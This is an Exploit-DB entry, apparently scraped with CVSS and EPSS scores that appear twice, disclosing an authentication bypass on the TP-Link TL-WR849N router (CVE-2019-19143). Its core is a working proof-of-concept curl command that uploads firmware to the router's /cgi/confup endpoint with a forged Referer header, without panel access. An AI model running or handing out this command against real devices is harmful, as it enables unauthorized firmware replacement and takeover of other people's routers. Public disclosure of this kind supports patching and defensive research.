Elber TavaresEDB-ID:48152TL-WR849N 0.9.1 4.16 - Authentication Bypass (Upload Firmware)
4.1 Medium
CVSS2
Attack Vector
ADJACENT_NETWORK
Attack Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:A/AC:L/Au:S/C:P/I:P/A:N
6.1 Medium
CVSS3
Attack Vector
ADJACENT
Attack Complexity
LOW
Privileges Required
HIGH
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
NONE
CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N
6.6 Medium
AI Score
Confidence
High
0.003 Low
EPSS
Percentile
71.8%
# Exploit Title: TL-WR849N 0.9.1 4.16 - Authentication Bypass (Upload Firmware)
# Date: 2019-11-20
# Exploit Author: Elber Tavares
# Vendor Homepage: https://www.tp-link.com/
# Software Link: https://www.tp-link.com/br/support/download/tl-wr849n/#Firmware
# Version: TL-WR849N 0.9.1 4.16
# Tested on: linux, windows
# CVE : CVE-CVE-2019-19143
Uploading new firmware without access to the panel
REFS:
https://github.com/ElberTavares/routers-exploit/tp-link
https://fireshellsecurity.team/hack-n-routers/
Poc:
curl -i -X POST -H "Content-Type: multipart/form-data" -H "Referer:
http://TARGET/mainFrame.htm" -F [email protected]
http://TARGET/cgi/confupRelated
4.1 Medium
CVSS2
Attack Vector
ADJACENT_NETWORK
Attack Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:A/AC:L/Au:S/C:P/I:P/A:N
6.1 Medium
CVSS3
Attack Vector
ADJACENT
Attack Complexity
LOW
Privileges Required
HIGH
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
NONE
CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N
6.6 Medium
AI Score
Confidence
High
0.003 Low
EPSS
Percentile
71.8%